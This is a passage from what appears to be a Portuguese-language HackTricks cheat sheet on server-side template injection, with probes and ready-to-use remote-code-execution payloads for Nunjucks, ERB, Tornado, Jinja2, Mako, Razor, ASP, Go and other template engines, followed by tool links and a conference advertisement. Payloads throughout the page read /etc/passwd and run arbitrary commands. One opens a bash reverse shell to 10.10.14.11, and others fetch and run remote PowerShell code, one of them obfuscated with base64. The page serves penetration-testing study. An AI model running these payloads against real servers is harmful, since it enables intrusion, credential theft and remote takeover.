* \{{7\*7\}} = 49 * \{{foo\}} = Sem saída * \#{7\*7} = #{7\*7} * \{{console.log(1)\}} = Erro ```javascript {{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}} {{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}} ``` **Mais informações** * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) ### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` * `<%= 7*7 %> = 49` * `<%= foobar %> = Erro` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Slim (Ruby) * `{ 7 * 7 }` ``` { %x|env| } ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Python Confira a página a seguir para aprender truques sobre **execução arbitrária de comandos contornando sandboxes** em python: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{foobar}} = Erro` * `{{7*'7'}} = 7777777` ```python {% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}} ``` **Mais informações** * [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado) ### Jinja2 (Python) [Site oficial](http://jinja.pocoo.org) > Jinja2 é um mecanismo de template completo para Python. Ele possui suporte total a unicode, um ambiente de execução integrado e sandbox opcional, amplamente utilizado e licenciado sob BSD. * `{{7*7}} = Erro` * `${7*7} = ${7*7}` * `{{foobar}} Nada` * `{{4*4}}[[5*5]]` * `{{7*'7'}} = 7777777` * `{{config}}` * `{{config.items()}}` * `{{settings.SECRET_KEY}}` * `{{settings}}` * `
` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Formato de template** ```python {% raw %} {% extends "layout.html" %} {% block body %} {% endblock %} {% endraw %} ``` [**RCE não dependente de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Mais detalhes sobre como abusar do Jinja**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} Outros payloads em [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Razor (.Net) * `@(2+2) <= Sucesso` * `@() <= Sucesso` * `@("{{code}}") <= Sucesso` * `@ <=Sucesso` * `@{} <= ERRO!` * `@{ <= ERROO!` * `@(1+2)` * `@( //C#Code )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` O método .NET `System.Diagnostics.Process.Start` pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de webapp vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Mais informações** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = Nada * `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **Mais Informações** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) ### Mojolicious (Perl) Mesmo sendo Perl, ele usa tags como ERB em Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Error` ``` <%= perl code %> <% perl code %> ``` ### SSTI em GO No mecanismo de templates do Go, a confirmação de seu uso pode ser feita com payloads específicos: * `{{ . }}`: Revela a estrutura de dados de entrada. Por exemplo, se um objeto com um atributo `Password` for passado, `{{ .Password }}` pode expô-lo. * `{{printf "%s" "ssti" }}`: Espera-se que exiba a string "ssti". * `{{html "ssti"}}`, `{{js "ssti"}}`: Esses payloads devem retornar "ssti" sem adicionar "html" ou "js". Diretrizes adicionais podem ser exploradas na documentação do Go [aqui](https://golang.org/pkg/text/template). **Exploração de XSS** Com o pacote `text/template`, XSS pode ser direto ao inserir o payload diretamente. Em contraste, o pacote `html/template` codifica a resposta para evitar isso (por exemplo, `{{""}}` resulta em `<script>alert(1)</script>`). No entanto, a definição e invocação de templates em Go podem contornar essa codificação: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **Exploração de RCE** A exploração de RCE difere significativamente entre `html/template` e `text/template`. O módulo `text/template` permite chamar qualquer função pública diretamente (usando o valor “call”), o que não é permitido em `html/template`. A documentação para esses módulos está disponível [aqui para html/template](https://golang.org/pkg/html/template/) e [aqui para text/template](https://golang.org/pkg/text/template/). Para RCE via SSTI em Go, métodos de objeto podem ser invocados. Por exemplo, se o objeto fornecido tiver um método `System` que executa comandos, ele pode ser explorado como `{{ .System "ls" }}`. Acesso ao código-fonte é geralmente necessário para explorar isso, como no exemplo dado: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **Mais informações** * [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Mais Exploits Verifique o restante de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) para mais exploits. Você também pode encontrar informações interessantes sobre tags em [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF {% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %} ## Ajuda Relacionada Se você achar que pode ser útil, leia: * [Truques do Flask](../../network-services-pentesting/pentesting-web/flask.md) * [Funções mágicas do Python](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) ## Ferramentas * [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) * [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) * [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) * [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) ## Lista de Detecção de Brute-Force {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## Prática & Referências * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
​​​[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %} {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}